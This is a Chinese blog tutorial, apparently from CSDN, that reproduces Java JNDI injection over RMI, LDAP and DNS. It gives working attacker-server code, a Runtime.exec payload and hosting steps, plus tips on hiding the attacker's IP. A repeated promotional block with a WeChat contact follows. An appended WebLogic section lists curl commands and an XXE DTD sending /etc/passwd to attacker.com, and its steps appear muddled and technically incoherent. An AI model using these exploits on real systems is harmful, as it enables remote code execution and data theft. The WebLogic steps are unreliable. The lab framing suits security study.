JNDI注入原理及利用IDEA漏洞复现_jndi注入 rce

0x4 JNDI注入漏洞复现

JNDI+RMI
1、基础环境

我们这里使用IDEA进行JNDI注入漏洞的复现,我们需要先下载JDK的环境,JDK7,8都可以,选择下载自己电脑的版本,因为我的电脑一直都是JDK8的 环境,所以就不下载演示了。

Java Archive Downloads - Java SE 7

判断自己的JDK环境版本

1、首先 IDEA 新建一个项目

maven一下,然后我这里的项目名称是:jndi_injection_demon,其中这里要注意的就是JDK的环境,选择我们开始下载的JDK环境即可。

2、在 /src/java 目录下创建一个包,我这里创建的包的名字是:jndi_rmi_injection

3、在创建的jndi_rmi_injection包里面,创建RMI 的服务端和客户端。

服务端(RMIServer.java)

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

客户端(RMIClient.java) 客户端也是受害者

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

HTTP 端恶意载荷(Calculator.java)代码

我们为了形象地演示出恶意命令被执行的样子,我们这里用弹出计算器来演示。其中windows的把cmd命令改成calc,如果是linux的话,改成gnome-calculator就可以了

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

2、启动服务

1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件

2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致

python -m http.server 8081

3、IDEA 将漏洞环境启动起来并实现攻击,顺序为先运行服务端,再起客户端

服务端启动:

客户端启动:

发现当我们把客户端也给启动后,计算器就跳出来了,说明cmd恶意命令已经执行成功了!

3、代码详解

InitialContext类

RMIClient.java代码分析

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "dns://y9p1pr.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}


InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。

我们这里直接找InitialContext 类的相关包,按住 ctrl + B 快捷键,就会看到下面的这个包,发现InitialContext 类继承了一个接口,我们再ctrl + B 快捷键,查看下Context接口。

我们可以看到lookup(String name) 获取 name 的数据,也就是客户端代码中的uri,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE 所以会通过 rmi 协议访问 127.0.0.1:7778/RCE

Reference 类

RMIServer.java代码分析

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

JNDI+LDAP
1、基础环境

1、我们先在java目录下新建一个jndi_ldap_injection包

2、攻击者搭建LDAP服务器,需要导入unboundid依赖库。

在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,

3、创建LDAP的服务端和客户端的代码

LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。

package jndi_ldap_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}


客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。

package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

3、HTTP 端恶意载荷(Calculator.java)代码,跟rmi的恶意载荷一样

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

2、启动环境

1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件

2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致

python -m http.server 8081

3、IDEA 将漏洞环境启动起来并实现弹窗,顺序为先其服务端,再起客户端 ,跟rmi一样我就不一一演示了

JNDI+DNS

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Linux运维工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Linux运维知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)
img

最后的话

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

资料预览

给大家整理的视频资料:

给大家整理的电子书资料:

如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

更新**

如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)
[外链图片转存中…(img-Aj3WhfV4-1712837806592)]

最后的话

最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!

资料预览

给大家整理的视频资料:

[外链图片转存中…(img-aPpPdwBF-1712837806592)]

给大家整理的电子书资料:

[外链图片转存中…(img-3w3MVIqd-1712837806592)]

如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-wGeLpoka-1712837806592)]

  • 22
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WebLogic 的/console/consolejndi.portal接口可以调用存在 JNDI 注入漏洞的com.bea.console.handles.JndiBindingHandle类,从而造成 RCE。攻击者可以通过构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上,从而实现远程代码执行。具体步骤如下: 1. 构造恶意请求,将攻击者控制的 JNDI 对象绑定到 WebLogic JNDI 树上。例如,可以使用以下命令将一个恶意的 LDAP URL 绑定到 WebLogic JNDI 树上: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "ldap://attacker.com:1389/Exploit", "targets": [{"identity": {"type": "Server", "name": "AdminServer"}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 2. 构造恶意请求,触发 JNDI 注入漏洞。例如,可以使用以下命令触发漏洞: ``` curl -v -X POST -H 'Content-Type: application/json' -d '{"name": "Exploit", "bindings": [{"name": "Exploit", "type": "javax.naming.Reference", "value": {"className": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryClassName": "com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext", "factoryMethodName": "setConfigLocation", "factoryMethodArgs": ["http://attacker.com/evil.xml"]}}]}' http://<WebLogic_IP>:<WebLogic_Port>/console/consolejndi.portal ``` 3. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 XML 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 4. 构造恶意的 XML 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 XML 文件: ``` <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]> ``` 5. 在攻击者控制的服务器上,启动一个 HTTP 服务器,将恶意的 DTD 文件放到该服务器上。例如,可以使用以下命令启动一个 Python HTTP 服务器: ``` python -m SimpleHTTPServer 80 ``` 6. 构造恶意的 DTD 文件,该文件将在 WebLogic 服务器上执行恶意代码。例如,可以使用以下 DTD 文件: ``` <!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % remote "<!ENTITY % send SYSTEM 'http://attacker.com/?%payload;'>"> %remote; ``` 7. 等待 WebLogic 服务器向攻击者控制的服务器发送 HTTP 请求,从而触发恶意代码的执行。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值